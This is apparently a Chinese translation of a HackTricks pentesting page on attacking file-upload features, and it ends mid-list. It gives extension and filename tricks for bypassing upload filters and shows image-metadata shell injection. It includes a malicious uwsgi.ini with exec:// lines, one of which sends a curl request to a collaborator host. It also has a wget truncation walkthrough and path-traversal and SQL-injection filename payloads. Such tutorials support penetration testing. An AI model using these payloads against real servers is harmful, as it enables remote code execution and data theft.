# File Upload
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
支持HackTricks的其他方式：
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
如果您对**黑客职业**感兴趣并想要攻破不可能的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
{% embed url="" %}
## 文件上传通用方法
其他有用的扩展名：
* **PHP**: *.php*, *.php2*, *.php3*, .*php4*, .*php5*, .*php6*, .*php7*, .phps, .*phps*, .*pht*, .*phtm, .phtml*, .*pgif*, *.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module*
* **在PHPv8中工作**: *.php*, *.php4*, *.php5*, *.phtml*, *.module*, *.inc*, *.hphp*, *.ctp*
* **ASP**: *.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml*
* **Jsp:** *.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action*
* **Coldfusion:** *.cfm, .cfml, .cfc, .dbm*
* **Flash**: *.swf*
* **Perl**: *.pl, .cgi*
* **Erlang Yaws Web Server**: *.yaws*
### 绕过文件扩展名检查
1. 如果适用，**检查**之前的**扩展名**。还要尝试使用一些**大写字母**进行测试：*pHp, .pHP5, .PhAr ...*
2. *在执行扩展名之前**添加一个有效的扩展名**进行检查（也使用之前的扩展名）：*
* *file.png.php*
* *file.png.Php5*
3. 尝试在末尾添加**特殊字符**。您可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (*请注意，您还可以尝试使用**先前提到的扩展名***)
* *file.php%20*
* *file.php%0a*
* *file.php%00*
* *file.php%0d%0a*
* *file.php/*
* *file.php.\\*
* *file.*
* *file.php....*
* *file.pHp5....*
4. 尝试绕过保护，通过**欺骗服务器端的扩展名解析器**，使用**双重扩展名**或在扩展名之间**添加垃圾**数据（**空字节**）。*您还可以使用**先前的扩展名**来准备更好的有效负载。*
* *file.png.php*
* *file.png.pHp5*
* *file.php#.png*
* *file.php%00.png*
* *file.php\x00.png*
* *file.php%0a.png*
* *file.php%0d%0a.png*
* *file.phpJunk123png*
5. 在之前的检查中添加**另一层扩展名**：
* *file.png.jpg.php*
* *file.php%00.png%00.jpg*
6. 尝试将**执行扩展名放在有效扩展名之前**，希望服务器配置错误。 （用于利用Apache配置错误，其中任何带有扩展名\*\* ***.php*****，但**不一定以.php\*\*结尾的内容将执行代码）：
* *例如：file.php.png*
7. 在**Windows**中使用**NTFS备用数据流（ADS）**。在这种情况下，会在禁止的扩展名之后和允许的扩展名之前插入冒号字符“:”。结果，服务器上将创建一个带有禁止扩展名的**空文件**（例如“file.asax:.jpg”）。稍后可以使用其他技术编辑此文件，例如使用其短文件名。 “**::$data**”模式也可用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
8. 尝试突破文件名限制。有效扩展名被截断，恶意PHP代码被留下。AAA<--SNIP-->AAA.php
```
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效负载
AAA<--SNIP 232 A-->AAA.php.png
```
### 绕过内容类型、魔术数字、压缩和调整大小
* 通过将**Content-Type** **头**的**值**设置为：*image/png*，*text/plain*，*application/octet-stream* 来绕过**Content-Type**检查。
1. Content-Type **字典**:
* 通过在文件开头添加**真实图像的字节**（混淆 *file* 命令）或在**元数据**中引入**shell**来绕过**魔术数字**检查：\
`exiftool -Comment="' >> img.png`
* 如果**压缩**被添加到您的图像中，例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php)，之前的技术将不再有用。然而，您可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
* 网页也可能会**调整**图像大小，例如使用PHP-GD函数 `imagecopyresized` 或 `imagecopyresampled`。然而，您可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
* 另一种技术是创建一个**在图像调整大小后仍然有效的有效负载**，使用PHP-GD函数 `thumbnailImage`。然而，您可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧
* 查找一个漏洞来**重命名**已上传的文件（更改扩展名）。
* 查找**本地文件包含**漏洞以执行后门。
* **可能的信息泄露**：
1. **多次**上传（并**同时**）**相同文件**，**相同名称**
2. 上传一个**与已存在的文件**或**文件夹**同名的文件
3. 上传一个文件，其名称为\*\*“.”、“..”或“…”**。例如，在**Windows\*\*的Apache中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 在**NTFS**中上传一个可能不容易删除的文件，例如\*\*“…:.jpg”\*\*（Windows）
5. 在**Windows**中上传一个带有无效字符的文件，例如其名称中的 `|<>*?”`（Windows）
6. 在**Windows**中使用**保留**（禁止）的**名称**上传文件，如 CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9。
* 还尝试**上传一个可执行文件**（.exe）或一个（不太可疑的）**.html** 文件，当受害者意外打开时将**执行代码**。
### 特殊扩展技巧
如果您正在尝试将文件上传到**PHP服务器**，[查看执行代码的\*\*.htaccess\*\*技巧](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
如果您正在尝试将文件上传到**ASP服务器**，[查看执行代码的\*\*.config\*\*技巧](/network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar` 文件类似于 Java 的 `.jar` 文件，但用于 PHP，可以像 PHP 文件一样**使用**（使用 PHP 执行它，或将其包含在脚本中...）
`.inc` 扩展有时用于仅用于**导入文件**的 PHP 文件，因此，某些时候，某人可能已经允许**执行**此扩展名。
## **Jetty RCE**
如果您可以将 XML 文件上传到 Jetty 服务器，您可以获得[RCE，因为**新的 \*.xml 和 \*.war 文件会自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 因此，如下图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并等待 shell！
## **uWSGI RCE**
有关此漏洞的详细探讨，请查看原始研究：[uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果有能力修改 `.ini` 配置文件，则可以利用 uWSGI 服务器中的远程命令执行（RCE）漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是，“@” 运算符，如 `@(filename)`，旨在包含文件的内容。在 uWSGI 中支持的各种方案中，“exec” 方案特别强大，允许从进程的标准输出中读取数据。当处理 `.ini` 配置文件时，此功能可用于恶意目的，如远程命令执行或任意文件写入/读取。
考虑以下有害的 `uwsgi.ini` 文件示例，展示了各种方案：
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
## **wget 文件上传/SSRF 技巧**
在某些情况下，您可能会发现服务器正在使用 **`wget`** 来 **下载文件**，您可以 **指定** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单内，以确保只有允许的文件会被下载。然而，**这种检查可以被绕过。**\
**Linux** 中 **文件名** 的 **最大长度** 是 **255**，但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（就像在这个例子中 **".gif"** 是一个 **有效** 的扩展名），但 `wget` 会将文件重命名为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
请注意，您可能正在考虑的**另一种选项**是绕过此检查的方法是使**HTTP服务器重定向到另一个文件**，因此初始URL将通过检查，然后wget将使用新名称下载重定向的文件。这**不会起作用**，**除非**使用**参数**`--trust-server-names`来使用wget，因为**wget将使用原始URL中指定的文件名称下载重定向的页面**。
## 工具
* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass)是一个强大的工具，旨在帮助渗透测试人员和漏洞猎人测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程，确保对Web应用程序进行全面评估。
## 从文件上传到其他漏洞
* 将**文件名**设置为`../../../tmp/lol.png`，尝试实现**路径遍历**
* 将**文件名**设置为`sleep(10)-- -.jpg`，可能会实现**SQL注入**
* 将**文件名**设置为`